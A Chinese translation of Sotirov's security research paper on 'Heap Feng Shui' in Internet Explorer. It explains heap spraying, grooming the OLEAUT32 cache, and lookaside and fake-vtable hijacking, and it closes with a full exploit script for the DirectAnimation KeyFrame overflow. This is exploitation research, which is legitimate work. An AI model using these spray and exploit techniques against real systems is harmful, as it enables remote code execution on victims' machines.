Heap Feng Shui in JavaScript
Alexander Sotirov <asotirov@determina.com> 翻译自:http://www./research/heap-feng-shui/
引言 从Windows XP SP2 开始,Windows 平台上的堆破坏漏洞利用已经变得越来越困难。以Safe unlinking 和堆cookie 为代表的堆保护特征已经成功阻止大部分一般的堆利用技术。规避堆保护的方法也有,但是它们需要在很大程度上对存在漏洞应用程序的分配格式进行控制。 文章通过使用JavaScript分配的确切序列介绍了一种对浏览器堆分布进行精确操纵的新技术。我们提供了一个JavaScrip函数库用于在触发堆破坏bug之前在一个控制的状态下安装堆。这使我们能以很大的可靠性和精确性利用非常困难的堆破坏漏洞。 我们将集中关注IE的利用,但是这里提供的通用技术可能适用于其他浏览器或脚本环境。 以前的工作 最广泛使用的浏览器堆利用技术是SkyLined为他的IE IFRAME利用而发明的堆喷射方法。 这种技术使用JavaScript建立了许多个包含NOP片和shellcode的字符串。JavaScript运行时存储了在堆新块中的每个字符串的数据。堆分配通常从地址空间的起始开始,往上增加。为字符串分配200M内存后,在50M和200M之间的任何地址很可能指向NOP 片。用这个范围内的地址覆写一个返回地址或者一个函数指针将导致跳向NOP片和shellcode运行。 以下的JavaScript代码解释这个技术: var nop = unescape("%u9090%u9090");
// Create a 1MB string of NOP instructions followed by shellcode: // // malloc header string length NOP slide shellcode NULL terminator // 32 bytes 4 bytes x bytes y bytes 2 bytes
while (nop.length <= 0x100000/2) nop += nop;
nop = nop.substring(0, 0x100000/2 - 32/2 - 4/2 - shellcode.length - 2/2);
var x = new Array();
// Fill 200MB of memory with copies of the NOP slide and shellcode for (var i = 0; i < 200; i++) { x[i] = nop + shellcode; }
这个技术的一个微小变化能够被用于实现虚表和对象指针覆写。如果一个对象指针用于虚函数调用,编译器将产生与下面相似的代码: mov ecx, dword ptr [eax] ; get the vtable address push eax ; pass C++ this pointer as the first argument call dword ptr [ecx+08h] ; call the function at offset 0x8 in the vtable
每个C++对象的前四个字节包含一个指向虚表的指针。要实现对象指针覆写,我们需要使用一个指向拥有伪造虚表的伪造对象的地址,该虚表包含了指向shellcode的指针。在内存中安装这样的结构并不像看起来那么困难。第一步是为NOP片使用一个0xC字节序列,然后用一个指向这个片的地址覆写对象指针。伪造对象开头的虚表指针将是一个来自NOP片指向0x0C0C0C0C的双字。这个地址的内存也包含NOP片的0xC 字节。伪造的虚表中的虚函数指针将向后指向 0x0C0C0C0C处的片。调用对象的任何虚函数将导致对shellcode的调用。 间接引用序列如下所示: object pointer -> fake object -> fake vtable -> fake virtual function
addr: xxxx addr: yyyy addr: 0x0C0C0C0C addr: 0x0C0C0C0C data: yyyy data: 0x0C0C0C0C data: +0 0x0C0C0C0C data: nop slide +4 0x0C0C0C0C shellcode +8 0x0C0C0C0C SkyLined的技术的关键是可以从JavaScript代码中访问系统堆。本文将更深地讨论这个思想,探索用JavaScript代码完全地控制堆的方法。 动机 上面描述的堆喷射技术惊人的有效,但是单单靠它对于可靠的堆利用是不够的。这有两个原因。 在Windows XP SP2和后来的系统上,通过覆写堆上的应用数据而不用破坏内部malloc数据结构来利用堆破坏漏洞是很容易的。这是因为堆分配器对malloc chunk头和空闲块双向链表执行附加验证,这使标准的堆利用方法无效。结果,许多利用使用堆喷射技术将地址空间用shellcode填满,然后尽最大努力去覆写堆上的对象和虚表指针。操作系统中的堆保护没有扩展到储存在内存中的应用数据。堆的状态很难预测,然而,不能保证覆写的内存总是保存同样的数据。在这种情况下,利用可能会失败。 这样的一个例子是MSF框架中的ie_webview_setslice 利用。它重复地触发一个堆破坏漏洞,希望破坏足够的堆来跳到随机的堆内存。利用并不总是成功,这也不该是一个惊喜。 第二个问题是利用的可靠性与堆喷射所消耗的系统内存之间的平衡。如果一个利用用shellcode填充浏览器的整个地址空间,任何随机的跳转都是可利用的。不幸的是,在物理内存不足的系统上,堆喷射将会导致加重使用页面文件,降低系统性能。如果用户在堆喷射完成之前关闭浏览器,利用将会失败。 本文提供了一个针对这两个问题的解决方案,使可靠并精确的利用成为可能。 IE堆内部构件 概述 在IE中有三个主要构件分配内存,这些内存通常被浏览器堆漏洞破坏。第一个是MSHTML.DLL库,负责当前显示页面上HTML元素的内存管理。它负责在初始的页面提供和后续的DHTML操作中分配内存。内存分配从默认的进程堆开始,当一个页面关闭或一个HTML元素销毁时内存被释放掉。 管理内存的第二个构件是JSCRIPT.DLL中的JavaScript引擎。新JavaScript对象的内存是从一个专用的JavaScript 堆中分配的,字符串作为一个例外是从默认的进程堆中分配的。不再引用的对象是由垃圾收集器销毁的,当整个内存消耗或者对象数目超过一个确定的阈值时,该垃圾收集器开始运行。也可以通过调用CollectGarbage()函数来明确地触发垃圾收集器。 在大部分浏览器攻击利用中最后一个组件是引起堆破坏的ActiveX控件。一些ActiveX控件使用专用的堆,但是大部分在默认进程堆上分配和破坏内存。 一个重要的发现是IE的所有这三个组件使用一样的默认进程堆。这意味着使用JavaScript分配和释放内存改变了MSHTML和ActiveX控件使用的堆布局,一个ActiveX控件中的堆破坏bug能够用来覆写由其他两个浏览器组件分配的内存。 JavaScript字符串 JavaScript引擎用MSVCRT 的malloc() 和new()函数通过使用一个在CRT初始化过程中建立的提交堆分配大部分内存。一个重要的例外是JavaScript 字符串数据,它们作为BSTR字符串存储,这是一种由COM接口使用的基本字符串类型。它们的内存由OLEAUT32.DLL中的SysAllocString函数家族从默认进程堆中分配。 这里是一个典型的JavaScript字符串分配追踪: ChildEBP RetAddr Args to Child 0013d26c 77124b52 77606034 00002000 00037f48 ntdll!RtlAllocateHeap+0xeac 0013d280 77124c7f 00002000 00000000 0013d2a8 OLEAUT32!APP_DATA::AllocCachedMem+0x4f 0013d290 75c61dd0 00000000 00184350 00000000 OLEAUT32!SysAllocStringByteLen+0x2e 0013d2a8 75caa763 00001ffa 0013d660 00037090 jscript!PvarAllocBstrByteLen+0x2e 0013d31c 75caa810 00037940 00038178 0013d660 jscript!JsStrSubstrCore+0x17a 0013d33c 75c6212e 00037940 0013d4a8 0013d660 jscript!JsStrSubstr+0x1b 0013d374 75c558e1 0013d660 00000002 00038988 jscript!NatFncObj::Call+0x41 0013d408 75c5586e 00037940 00000000 00000003 jscript!NameTbl::InvokeInternal+0x218 0013d434 75c62296 00037940 00000000 00000003 jscript!VAR::InvokeByDispID+0xd4 0013d478 75c556c5 00037940 0013d498 00000003 jscript!VAR::InvokeByName+0x164 0013d4b8 75c54468 00037940 00000003 0013d660 jscript!VAR::InvokeDispName+0x43 0013d4dc 75c54d1a 00037940 00000000 00000003 jscript!VAR::InvokeByDispID+0xfb 0013d6d0 75c544fa 0013da80 00000000 0013d7ec jscript!CScriptRuntime::Run+0x18fb 要在堆上分配一个新字符串,我们需要建立一个新的JavaScript 字符串对象。我们不能简单地逐字地分配字符串给一个新变量,因为这不会建立一个字符串数据副本。相反,我们需要合并两个字符串或者使用substr函数。例如: var str1 = "AAAAAAAAAAAAAAAAAAAA"; // doesn't allocate a new string var str2 = str1.substr(0, 10); // allocates a new 10 character string var str3 = str1 + str2; // allocates a new 30 character string BSTR字符串在内存中作为一个包含四字节尺寸域的结构存储,后面紧跟着作为16位宽的字符的字符串数据和一个16位的null结束符。上面例子中的str1字符串在内存中有如下表示: string size | string data | null terminator 4 bytes | length / 2 bytes | 2 bytes | | 14 00 00 00 | 41 00 41 00 41 00 41 00 41 00 41 00 41 00 41 00 41 00 41 00 | 00 00 我们可以使用以下两个公式来计算为一个字符串分配多少字节,或者对于分配一个确定数目的字节一个字符得多长: bytes = len * 2 + 6 len = (bytes - 6) / 2
字符串存储的方式允许我们写一个函数通过分配一个新字符串来分配任意尺寸的内存块。代码使用len=(bytes-6)/2公式计算所需的字符串长度,调用substr分配一个该长度的新字符串。字符串包含从填充字符串拷贝的数据。如果我们想把指定的数据放到新的内存块中,我们只需要事先用它初始化填充字符串。 // Build a long string with padding data
padding = "AAAA"
while (padding.length < MAX_ALLOCATION_LENGTH) padding = padding + padding;
// Allocate a memory block of a specified size in bytes
function alloc(bytes) { return padding.substr(0, (bytes-6)/2); }
垃圾回收
为了操纵浏览器堆布局,能够分配一个任意尺寸的内存块是不够的,我么也需要找到释放它的办法。JavaScript运行时使用一个简单的标记和清理垃圾回收器,关于它的最详细的描述在Eric Lippert发布的博客里。 垃圾回收可以由各种启发探索来触发,比如最近一次运行以来建立的对象数。标记和清理算法识别出JavaScript运行时中所有未引用的对象,然后销毁它们。当一个字符串对象被销毁时,通过调用OLEAUT32.DLL中的SysFreeString函数释放这个对象的数据。这是一个来自垃圾回收器的追踪。 ChildEBP RetAddr Args to Child 0013d324 774fd004 00150000 00000000 001bae28 ntdll!RtlFreeHeap 0013d338 77124ac8 77606034 001bae28 00000008 ole32!CRetailMalloc_Free+0x1c 0013d358 77124885 00000006 00008000 00037f48 OLEAUT32!APP_DATA::FreeCachedMem+0xa0 0013d36c 77124ae3 02a8004c 00037cc8 00037f48 OLEAUT32!SysFreeString+0x56 0013d380 75c60f15 00037f48 00037f48 75c61347 OLEAUT32!VariantClear+0xbb 0013d38c 75c61347 00037cc8 000378a0 00036d40 jscript!VAR::Clear+0x5d 0013d3b0 75c60eba 000378b0 00000000 000378a0 jscript!GcAlloc::ReclaimGarbage+0x65 0013d3cc 75c61273 00000002 0013d40c 00037c10 jscript!GcContext::Reclaim+0x98 0013d3e0 75c99a27 75c6212e 00037940 0013d474 jscript!GcContext::Collect+0xa5 0013d3e4 75c6212e 00037940 0013d474 0013d40c jscript!JsCollectGarbage+0x10
为了释放我们已经分配的一个字符串,我们需要删除所有对它的引用并运行垃圾回收器。幸运的是,我们不必等待一个启发探索来触发它,因为Internet Explorer中的JavaScript实现提供了一个能使垃圾回收器立即运行的CollectGarbage() 函数。该函数的用法如以下代码所展示: var str;
// We need to do the allocation and free in a function scope, otherwise the // garbage collector will not free the string.
function alloc_str(bytes) { str = padding.substr(0, (bytes-6)/2); }
function free_str() { str = null; CollectGarbage(); }
alloc_str(0x10000); // allocate memory block free_str(); // free memory block
上面的代码分配了64KB的内存块,并释放了它,演示了我们在默认的进程堆上执行任意的分配和释放的能力。我们能释放那些仅仅由我们分配的块,但是即使在这个限制下,我们仍然可以对堆分布有高度的控制。 OLEAUT32内存分配器 很不幸,调用SysAllocString并不能总是导致从系统堆上分配内存已经被证明。分配和释放BSTR字符串的函数使用了一个在OLEAUT32中的APP_DATA类中实现的自定义内存分配器。这个内存分配器维持了一个释放过的内存块的高速缓存,在以后的分配中再次使用它们。这有点像系统内存分配器维持的快表列表。 高速缓冲由4个容器组成,每个容器保持了6个确定尺寸范围的块。当每个块使用由APP_DATA::FreeCachedMem() 函数释放时,这个块存储在其中一个容器中。当一个容器充满了,容器中最小的块使用HeapFree()函数释放掉,并由新的块代替。大于32767字节的块不会缓存,总是被直接释放掉。 当调用APP_DATA::AllocCachedMem()函数分配内存时,它会在合适尺寸的容器中寻找一个空闲快。如果一个足够大的块被找到,它会从高速缓存中移出,返回给调用者。否则该函数使用HeapAlloc()分配新的内存。 内存分配器的反编译代码如下所示: // Each entry in the cache has a size and a pointer to the free block
struct CacheEntry { unsigned int size; void* ptr; }
// The cache consists of 4 bins, each holding 6 blocks of a certain size range
class APP_DATA { CacheEntry bin_1_32 [6]; // blocks from 1 to 32 bytes CacheEntry bin_33_64 [6]; // blocks from 33 to 64 bytes CacheEntry bin_65_256 [6]; // blocks from 65 to 265 bytes CacheEntry bin_257_32768[6]; // blocks from 257 to 32768 bytes
void* AllocCachedMem(unsigned long size); // alloc function void FreeCachedMem(void* ptr); // free function };
// // Allocate memory, reusing the blocks from the cache //
void* APP_DATA::AllocCachedMem(unsigned long size) { CacheEntry* bin; int i;
if (g_fDebNoCache == TRUE) goto system_alloc; // Use HeapAlloc if caching is disabled
// Find the right cache bin for the block size
if (size > 256) bin = &this->bin_257_32768; else if (size > 64) bin = &this->bin_65_256; else if (size > 32) bin = &this->bin_33_64; else bin = &this->bin_1_32;
// Iterate through all entries in the bin
for (i = 0; i < 6; i++) {
// If the cached block is big enough, use it for this allocation
if (bin[i].size >= size) { bin[i].size = 0; // Size 0 means the cache entry is unused return bin[i]NaNr; } }
system_alloc:
// Allocate memory using the system memory allocator return HeapAlloc(GetProcessHeap(), 0, size); }
// // Free memory and keep freed blocks in the cache //
void APP_DATA::FreeCachedMem(void* ptr) { CacheEntry* bin; CacheEntry* entry; unsigned int min_size; int i;
if (g_fDebNoCache == TRUE) goto system_free; // Use HeapFree if caching is disabled
// Get the size of the block we're freeing size = HeapSize(GetProcessHeap(), 0, ptr);
// Find the right cache bin for the size
if (size > 32768) goto system_free; // Use HeapFree for large blocks else if (size > 256) bin = &this->bin_257_32768; else if (size > 64) bin = &this->bin_65_256; else if (size > 32) bin = &this->bin_33_64; else bin = &this->bin_1_32;
// Iterate through all entries in the bin and find the smallest one
min_size = size; entry = NULL;
for (i = 0; i < 6; i++) {
// If we find an unused cache entry, put the block there and return
if (bin[i].size == 0) { bin[i].size = size; bin[i]NaNr = ptr; // The free block is now in the cache return; }
// If the block we're freeing is already in the cache, abort
if (bin[i]NaNr == ptr) return;
// Find the smallest cache entry
if (bin[i].size < min_size) { min_size = bin[i].size; entry = &bin[i]; } }
// If the smallest cache entry is smaller than our block, free the cached // block with HeapFree and replace it with the new block
if (min_size < size) { HeapFree(GetProcessHeap(), 0, entry->ptr); entry->size = size; entry->ptr = ptr; return; }
system_free:
// Free the block using the system memory allocator return HeapFree(GetProcessHeap(), 0, ptr); }
APP_DATA内存分配器使用的缓存算法介绍了一个问题,因为只有我们分配和释放操作的一部分会调用系统分配器。 活塞技术 为了保证每个字符串分配都来自系统堆,对于每个容器我们需要分配6个最大尺寸的块。因为缓存在每个容器中只保存6个块,这会确保所有的缓存容器都是空的。下一个字符串分配保证能够调用HeapAlloc()。 如果我们释放刚刚分配的字符串,它将会进入其中一个缓存容器。我们可以通过释放在前面步骤中分配的6个最大尺寸的块,把它刷出缓存。FreeCachedMem()函数将会把所有较小的块清出缓存,我们的字符串将会使用HeapFree()释放掉。在这个点,缓存会充满,我们需要通过为每个容器分配6个最大尺寸的块再次使它清空。 实际上,我们使用6个块作为活塞把所有的小块清出缓存,然后再次通过分配6个块把活塞拉出。 下面的代码展示了活塞技术的一种实现。 plunger = new Array();
// This function flushes out all blocks in the cache and leaves it empty
function flushCache() {
// Free all blocks in the plunger array to push all smaller blocks out
plunger = null; CollectGarbage();
// Allocate 6 maximum size blocks from each bin and leave the cache empty
plunger = new Array();
for (i = 0; i < 6; i++) { plunger.push(alloc(32)); plunger.push(alloc(64)); plunger.push(alloc(256)); plunger.push(alloc(32768)); } }
flushCache(); // Flush the cache before doing any allocations
alloc_str(0x200); // Allocate the string
free_str(); // Free the string and flush the cache flushCache(); 为了把一个块清除出缓存并使用HeapFree()释放掉该块,它必须比它所在容器的最大尺寸要小。否则,FreeCachedMem函数中的条件min_size < size不会满足,相反活塞块会被释放。这意味着我们不能释放掉 32, 64, 256 或 32768字节尺寸的块,但是这不是一个严格的限制。
HeapLib - JavaScript 堆操作库 我们在一个叫做HeapLi的 JavaScript 库中实现了前面部分描述的概念。它提供了alloc() 和free()函数,该函数除了许多高度的堆操作例程外,还直接映射到系统分配器的调用。
HeapLib库的Hello World
使用HeapLib库的最基本的程序如下所示: <script type="text/javascript" src="heapLib.js"></script>
<script type="text/javascript">
// Create a heapLib object for Internet Explorer var heap = new heapLib.ie();
heap.gc(); // Run the garbage collector before doing any allocations
// Allocate 512 bytes of memory and fill it with padding heap.alloc(512);
// Allocate a new block of memory for the string "AAAAA" and tag the block with "foo" heap.alloc("AAAAA", "foo");
// Free all blocks tagged with "foo" heap.free("foo"); </script> 这个程序分配了16个字节的内存块,并把字符串"AAAAA" 拷进去。这个块使用标志"foo"标记,这个标志后来用作free()的一个参数。free()函数释放掉所有使用这个标志标记过的内存块。 在堆上的效果方面, Hello World程序等同于以下C代码: block1 = HeapAlloc(GetProcessHeap(), 0, 512); block2 = HeapAlloc(GetProcessHeap(), 0, 16); HeapFree(GetProcessHeap(), 0, block2); 调试 HeapLib 提供了大量函数用于调试库、检验堆上的效果。这是阐述调试功能小例子: heap.debug("Hello!"); // output a debugging message heap.debugHeap(true); // enable tracing of heap allocations heap.alloc(128, "foo"); heap.debugBreak(); // break in WinDbg heap.free("foo"); heap.debugHeap(false); // disable tracing of heap allocations 为了看到调试输出,用WinDbg 附加到IEXPLORE.EXE进程,设置以下断点: bc *
bu 7c9106eb "j (poi(esp+4)==0x150000) '.printf \"alloc(0x%x) = 0x%x\", poi(esp+c), eax; .echo; g'; 'g';" bu ntdll!RtlFreeHeap "j ((poi(esp+4)==0x150000) & (poi(esp+c)!=0)) '.printf \"free(0x%x), size=0x%x\", poi(esp+c), wo(poi(esp+c)-8)*8-8; .echo; g'; 'g';" bu jscript!JsAtan2 "j (poi(poi(esp+14)+18) == babe) '.printf \"DEBUG: %mu\", poi(poi(poi(esp+14)+8)+8); .echo; g';" bu jscript!JsAtan "j (poi(poi(esp+14)+8) == babe) '.echo DEBUG: Enabling heap breakpoints; be 0 1; g';" bu jscript!JsAsin "j (poi(poi(esp+14)+8) == babe) '.echo DEBUG: Disabling heap breakpoints; bd 0 1; g';" bu jscript!JsAcos "j (poi(poi(esp+14)+8) == babe) '.echo DEBUG: heapLib breakpoint'" bd 0 1 g 第一个断点位于ntdll!RtlAllocateHeap的RET指令。上面地址对于Windows XP SP2有效,但是对于其他系统可能需要调整。断点也假定默认的进程堆位于0x150000。WinDbg的uf和!peb命令提供了这些地址。 0:012> uf ntdll!RtlAllocateHeap ... ntdll!RtlAllocateHeap+0xea7: 7c9106e6 e817e7ffff call ntdll!_SEH_epilog (7c90ee02)7c9106eb c20c00 ret 0Ch
0:012> !peb PEB at 7ffdf000 ... ProcessHeap: 00150000 设置这些断点后,运行上面的样本代码将会在WinDbg中显示如下调试输出: DEBUG: Hello! DEBUG: Enabling heap breakpoints alloc(0x80) = 0x1e0b48 DEBUG: heapLib breakpoint eax=00000001 ebx=0003e660 ecx=0003e67c edx=00038620 esi=0003e660 edi=0013dc90 eip=75ca315f esp=0013dc6c ebp=0013dca0 iopl=0 nv up ei ng nz ac pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000296 jscript!JsAcos: 75ca315f 8bff mov edi,edi 0:000> g DEBUG: Flushing the OLEAUT32 cache free(0x1e0b48), size=0x80 DEBUG: Disabling heap breakpoints 我们可以看到alloc()函数在地址0x1e0b48处分配了 0x80字节的内存,该内存后来被free()释放掉。示例程序通过调用HeapLib中的debugBreak()函数在WinDbg中也触发了断点。函数作为使用一个特殊参数对JavaScript acos()进行调用来实现,这会触发jscript!JsAcos上的WinDbg断点。这使我们有机会在继续JavaScript执行前观察堆的状态。 功能函数 该库也提供函数来操作在攻击利用中使用的数据。这里是一个使用addr()和padding()函数准备一个伪造虚表块的例子。 var vtable = ""; for (var i = 0; i < 100; i++) { // Add 100 copies of the address 0x0C0C0C0C to the vtable vtable = vtable + heap.addr(0x0C0C0C0C); }
// Pad the vtable with "A" characters to make the block size exactly 1008 bytes vtable = vtable + heap.padding((1008 - (vtable.length*2+6))/2); 要了解得更详细,看下一部分的函数描述。
HeapLib引用
面向对象接口
HeapLib API作为面向对象接口实现。要在IE中使用API,创建一个heapLib.ie类实例。
下面描述的所有函数是heapLib.ie类的实例方法。 调试 要看调试输出,附件WinDbg 到IEXPLORE.EXE进程,设置上面描述的断点。如果调试器不存在,下面的函数无效。
功能函数
内存分配
堆操作 下列函数用于操作windows 2000,xp ,2003中内存分配器的数据结构。因为vista的重要不同,Windows vista中的堆分配器不支持。
使用HeapLib 堆的碎片整理 对于利用来说,堆碎片是一个严重的问题。如果堆开始是空的,堆分配器的决定允许我们计算来自指定顺序分配的堆的状态。很不幸,当我们的利用执行时,我们不知道堆的状态,这使得堆分配器的行为不可预测。 为了解决这个问题,我们需要对堆进行碎片整理。这可以通过分配大量我们的利用所用尺寸的块实现。这些块将填充堆上所有可能的洞,并确保后续的同样大小块的分配是从堆的最后开始分配的。在这一点上,分配器的行为等同于开始于一个空堆。 以下代码将使用0x2010字节的块对堆进行碎片整理。 for (var i = 0; i < 1000; i++) heap.alloc(0x2010); 把块放在空表上 假定我们有一块代码从堆上分配了一块内存,没有初始化就使用该内存。如果我们控制了堆中的数据,我们将能够利用这个漏洞。我们需要分配一个同样大小的块,使用我们的数据填充,然后释放掉。下次分配这个尺寸将得到包含我们数据的块。 唯一的障碍是系统内存分配器中的合并算法。如果我们正在释放的块紧靠着另一个空块,它们将合并成一个更大的块。下一次分配将不会得到包含我们数据的块。为阻止这个,我们需要分配三个同样尺寸的块,然后释放掉中间的那个块,提前对堆进行碎片整理将保证三个块是连续的,中间的块不会合并。 heap.alloc(0x2020); // allocate three consecutive blocks heap.alloc(0x2020, "freeList"); heap.alloc(0x2020);
heap.free("freeList"); // free the middle block HeapLib库提供了一个方便的函数来实现上面描述的技术。下面的例子展示了怎样增加 0x2020 字节的块到空表上。 heap.freeList(0x2020); 清空快表 为了清空确定大小的快表,我们只需要分配足够该大小的块。通常,快表包含仅有的4个块,但是我们已经在Windows XP SP2看到了更多项的块表。为了确保,我们分配100个块。下列代码展示了这个: for (var i = 0; i < 100; i++) heap.alloc(0x100); 释放到快表 一旦快表空了,任何正确尺寸的块当释放掉都会放在快表上。 // Empty the lookaside for (var i = 0; i < 100; i++) heap.alloc(0x100);
// Allocate a block heap.alloc(0x100, "foo");
// Free it to the lookaside heap.free("foo"); HeapLib中的 lookaside()函数实现了这个技术: // Empty the lookaside for (var i = 0; i < 100; i++) heap.alloc(0x100);
// Add 3 blocks to the lookaside heap.lookaside(0x100); 使用快表利用对象指针 跟踪当一个块放在快表上时会发生什么是很有意思的。让我从一个空的快表开始。如果堆的基地址是0x150000,对于大小是1008的块的快表头的地址是0x151e58。因为快表是空的,这个位置将包含一个空指针。 现在让我们释放掉一个1008字节的块。在0x151e58处的快表头将会指向它。该块的前四个字节将会被覆写成NULL,指示链表的结尾。内存中的结构看起来就像我们利用覆写的对象指针所需要的: object pointer --> lookaside --> freed block (fake object) (fake vtable)
addr: xxxx addr: 0x151e58 addr: yyyy data: 0x151e58 data: yyyy data: +0 NULL +4 function pointer +8 function pointer ... 如果我们用0x151e58覆写一个对象指针,释放一个 1008字节的包含一个伪造虚表的块,贯穿虚表的任何虚函数调用将跳到我们选择的位置。伪造的虚表可以使用HeapLib库中的vtable()函数创建,它把shellcode 字符串和jmp ecx跳板地址作为参数,用下列数据分配了1008字节的块。
string length jmp +124 addr of jmp ecx sub [eax], al*2 shellcode null terminator 4 bytes 4 bytes 124 bytes 4 bytes x bytes 2 bytes
调用者应释放虚表到快表,用快表头的地址覆写对象指针。设置对象指针在eax,虚表地址在ecx,伪造的虚表设计用于利用虚函数调用。 mov ecx, dword ptr [eax] ; get the vtable address push eax ; pass C++ this pointer as the first argument call dword ptr [ecx+08h] ; call the function at offset 0x8 in the vtable 任何从ecx+8到 ecx+0x80 的虚函数调用会导致调用jmp ecx 跳板。因为ecx指向虚表,跳板将会跳回到内存块的开头。它的前四个字节包含了正在使用的字符串的长度,但是当它释放到快表,它们被NULL覆写(指示链表的结尾)。四个0字节作为两个add[eax],al指令执行。执行流程到达jmp +124指令,该指令跳过函数指针,停到虚表中偏移132的两个sub[eax],al指令。这两个指令修复了前面sub指令破坏的内存,最终shellcode执行。(虚函数加快表攻击) 使用HeapLib利用堆漏洞 DirectAnimation.PathControl KeyFrame漏洞 作为我们的第一个例子,我们将使用DirectAnimation.PathControl ActiveX控件中的整数溢出漏洞 (CVE-2006-4777)。这个漏洞通过建立一个ActiveX对象,使用一个大于0x07ffffff的参数调用它的KeyFrame()方法触发。 KeyFrame方法在Microsoft DirectAnimation SDK中记录如下: KeyFrame Method 指定路径上的X和Y坐标,每次到达每个点。第一个点定义了路径的起始点,只有当路径停止时该方法可以被使用或修改。 语法: KeyFrameArray = Array( x1, y1, ..., xN, yN ) TimeFrameArray = Array( time2 , ..., timeN ) pathObj.KeyFrame( npoints, KeyFrameArray, TimeFrameArray ) 参数: Npoints 用于定义路径的点的数目 x1, y1,..., xN, yN 路径上识别点的x 和y坐标集 time2,..., timeN 路径从前一个点到达对应点中每个点的所花费的对应时间 KeyFrameArray 包含x 和y坐标定义的数组。 TimeFrameArray 包含定义路径的两个点之间的时间值的数组,路径从 x1 和 y1 点开始,通过xN 和 yN 点(路径中最后的点集)。路径从点x1 和 y1使用一个时间值0开始。 以下 JavaScript代码会触发漏洞: var target = new ActiveXObject("DirectAnimation.PathControl"); target.KeyFrame(0x7fffffff, new Array(1), new Array(1)); 漏洞代码 漏洞位于DAXCTLE.OCX的CPathCtl::KeyFrame 函数中。函数反汇编代码如下所示: long __stdcall CPathCtl::KeyFrame(unsigned int npoints, struct tagVARIANT KeyFrameArray, struct tagVARIANT TimeFrameArray) { int err = 0; ...
// The new operator is a wrapper around CMemManager::AllocBuffer. If the // size size is less than 0x2000, it allocates a block from a special // CMemManager heap, otherwise it is equivalent to: // // HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, size+8) + 8
buf_1 = new((npoints*2) * 8); buf_2 = new((npoints-1) * 8); KeyFrameArray.field_C = new(npoints*4); TimeFrameArray.field_C = new(npoints*4);
if (buf_1 == NULL || buf_2 == NULL || KeyFrameArray.field_C == NULL || TimeFrameArray.field_C == NULL) { err = E_OUTOFMEMORY; goto cleanup; }
// We set an error and go to the cleanup code if the KeyFrameArray array // is smaller than npoints*2 or TimeFrameArray is smaller than npoints-1
if ( KeyFrameArrayAccessor.ToDoubleArray(npoints*2, buf_1) < 0 || TimeFrameArrayAccessor.ToDoubleArray(npoints-1, buf_2) < 0) { err = E_FAIL; goto cleanup; }
...
cleanup: if (npoints > 0)
// We iterate from 0 to npoints and call a virtual function on all // non-NULL elements of KeyFrameArray->field_C and TimeFrameArray->field_C
for (i = 0; i < npoints; i++) { if (KeyFrameArray.field_C[i] != NULL) KeyFrameArray.field_C[i]->func_8();
if (TimeFrameArray.field_C[i] != NULL) TimeFrameArray.field_C[i]->func_8(); } }
...
return err; }
KeyFrame 函数用16、8、4乘以npoints参数,分配了四个缓冲区。如果npoints 大于0x40000000,分配的大小将折回,函数将分配四个小的缓冲区。在我们的利用中,我们设置npoints 为0x40000801,函数将分配0x8018、0x4008和两个0x200c的缓冲区。我么想要最小的缓冲区大于0x2000字节,因为更小的分配来自CMemManager堆,而不是系统分配器。 分配缓冲区之后,函数调用CSafeArrayOfDoublesAccessor::ToDoubleArray()初始化数组存取器对象。如果KeyFrameArray 的大小小于npoints,ToDoubleArray 将返回E_INVALIDARG。这种情况下执行的清除代码将会迭代两个0x2004字节的缓冲区,在缓冲区的每个非NULL元素上调用一个虚函数。 这些缓冲区使用HEAP_ZERO_MEMORY标志分配,只含有NULL指针。代码将从0迭代至npoints (0x40000801),然而,将最终访问越过0x200c字节缓冲区末尾的数据。如果我们控制了KeyFrameArray.field_C缓冲区后面的第一个Dword,使它指向一个伪造的对象,该对象使用一个指针指向它的虚表中的shellcode 。对func_8() 的虚函数调用将执行我们的shellcode 。
利用 要利用这个漏洞,我们需要控制 0x200c字节缓冲区后面的第一个四字节。首先,我们要使用大小为0x2010 字节的块对堆进行碎片整理(内存分配器将对齐所有的尺寸到8,所以0x200c被对齐为0x2010)。然后我们分配两个大小为0x2020字节的内存块,在偏移0x200c位置写伪造的对象指针,然后把他们释放到空表中。 当函数KeyFrame分配两个0x200c字节缓冲区时,内存分配器将重用我们的0x2020字节块,只在第一个0x200c字节用零填充。 KeyFrame函数末尾的Cleanup循环将到达偏移0x200c处的伪造对象指针,通过它的虚表调用调用一个函数。伪造的对象指针指向0x151e58,这个位置是大小为1008的块的快表的头。快表中唯一的项是我们的伪造虚表。 调用虚函数的代码是: .text:100071E4 mov eax, [eax] ; object pointer .text:100071E6 mov ecx, [eax] ; vtable .text:100071E8 push eax .text:100071E9 call dword ptr [ecx+8]
虚函数调用通过ecx+8,然后执行转换到IEXPLORE.EXE中的jmp ecx跳板,跳板跳回到虚表的开始,并执行shellcode,要了解虚表更多的信息,参考前面部分。 完整的利用代码如下所示: // Create the ActiveX object var target = new ActiveXObject("DirectAnimation.PathControl");
// Initialize the heap library var heap = new heapLib.ie();
// int3 shellcode var shellcode = unescape("%uCCCC");
// address of jmp ecx instruction in IEXPLORE.EXE var jmpecx = 0x4058b5; // Build a fake vtable with pointers to the shellcode var vtable = heap.vtable(shellcode, jmpecx); // Get the address of the lookaside that will point to the vtable var fakeObjPtr = heap.lookasideAddr(vtable); // Build the heap block with the fake object address // // len padding fake obj pointer padding null // 4 bytes 0x200C-4 bytes 4 bytes 14 bytes 2 bytes
var fakeObjChunk = heap.padding((0x200c-4)/2) + heap.addr(fakeObjPtr) + heap.padding(14/2); heap.gc(); heap.debugHeap(true); // Empty the lookaside heap.debug("Emptying the lookaside") for (var i = 0; i < 100; i++) heap.alloc(vtable) // Put the vtable on the lookaise heap.debug("Putting the vtable on the lookaside") heap.lookaside(vtable); // Defragment the heap heap.debug("Defragmenting the heap with blocks of size 0x2010") for (var i = 0; i < 100; i++) heap.alloc(0x2010) // Add the block with the fake object pointer to the free list heap.debug("Creating two holes of size 0x2020"); heap.freeList(fakeObjChunk, 2); // Trigger the exploit target.KeyFrame(0x40000801, new Array(1), new Array(1));
// Cleanup heap.debugHeap(false);
